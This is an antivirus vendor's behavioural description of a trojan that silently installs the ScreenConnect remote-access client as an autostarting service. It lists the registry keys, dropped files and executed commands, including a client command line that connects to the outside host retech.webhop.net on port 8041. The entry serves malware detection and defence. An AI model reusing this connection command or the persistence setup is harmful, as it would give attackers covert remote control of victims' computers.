Trojan.Siggen13.11806

Added to the Dr.Web virus database: 2021-04-25

Virus description added: 2021-04-26

To ensure autorun and distribution

Modifies the following registry keys

[<HKLM>\SOFTWARE\Classes\sc-f03a17c3b2a1c490\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (f03a17c3b2a1c490)\ScreenConnect.WindowsClient.exe" "%1"'

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\ScreenConnect Client (f03a17c3b2a1c490)] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\ScreenConnect Client (f03a17c3b2a1c490)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (f03a17c3b2a1c490)\ScreenConnect.ClientService.exe" "...

Creates the following services

'ScreenConnect Client (f03a17c3b2a1c490)' "%ProgramFiles(x86)%\ScreenConnect Client (f03a17c3b2a1c490)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=retech.webhop.net&p=8041&s=3dc02d37-ad38-4748-b7df-2b6daf2a7ea5&k=BgIAAACkAABS...

Modifies file system

Creates the following files

%TEMP%\setup.msi
%ProgramFiles(x86)%\screenconnect client (f03a17c3b2a1c490)\client.resources
%ProgramFiles(x86)%\screenconnect client (f03a17c3b2a1c490)\client.override.resources
%ProgramFiles(x86)%\screenconnect client (f03a17c3b2a1c490)\client.override.en-us.resources
%ProgramFiles(x86)%\screenconnect client (f03a17c3b2a1c490)\client.en-us.resources
%ProgramFiles(x86)%\screenconnect client (f03a17c3b2a1c490)\app.config
%ProgramFiles(x86)%\screenconnect client (f03a17c3b2a1c490)\screenconnect.clientservice.exe
%ProgramFiles(x86)%\screenconnect client (f03a17c3b2a1c490)\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\screenconnect client (f03a17c3b2a1c490)\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\screenconnect client (f03a17c3b2a1c490)\screenconnect.windows.dll
%ProgramFiles(x86)%\screenconnect client (f03a17c3b2a1c490)\screenconnect.core.dll
%ProgramFiles(x86)%\screenconnect client (f03a17c3b2a1c490)\screenconnect.clientservice.dll
%ProgramFiles(x86)%\screenconnect client (f03a17c3b2a1c490)\screenconnect.client.dll
%TEMP%\msifb6e.tmp-\customaction.config
%TEMP%\msifb6e.tmp-\screenconnect.core.dll
%TEMP%\msifb6e.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msifb6e.tmp-\screenconnect.installeractions.dll
%TEMP%\msifb6e.tmp
%ALLUSERSPROFILE%\screenconnect client (f03a17c3b2a1c490)\ica2je3i.newcfg
%WINDIR%\installer\{294b8cb2-f3b2-456f-a8c9-0a40640c5353}\defaulticon

Deletes the following files

Moves the following files

from %ALLUSERSPROFILE%\screenconnect client (f03a17c3b2a1c490)\ica2je3i.newcfg to %ALLUSERSPROFILE%\screenconnect client (f03a17c3b2a1c490)\user.config

Network activity

Connects to

TCP

UDP

Miscellaneous

Creates and executes the following

'%ProgramFiles(x86)%\screenconnect client (f03a17c3b2a1c490)\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=retech.webhop.net&p=8041&s=3dc02d37-ad38-4748-b7df-2b6daf2a7ea5&k=BgIAAACkAABSU0ExAAgAAAEAAQBH1LAAuVkxtpMh0hkY%2bqiWFVoce6IyYM4wryWOLHeb%2b5AGOK7%2bHs6vHJoqeKzz4K%2b8CWeqTv...
'%ProgramFiles(x86)%\screenconnect client (f03a17c3b2a1c490)\screenconnect.windowsclient.exe' "RunRole" "873c4d3c-397e-41f8-8dac-0fcc41d1139e" "User"
'%ProgramFiles(x86)%\screenconnect client (f03a17c3b2a1c490)\screenconnect.windowsclient.exe' "RunRole" "cfae199d-d8bc-43a1-b118-f5280b7f2816" "System"

Executes the following

'%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\setup.msi"
'%WINDIR%\syswow64\rundll32.exe' "%TEMP%\MSIFB6E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_1178805 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments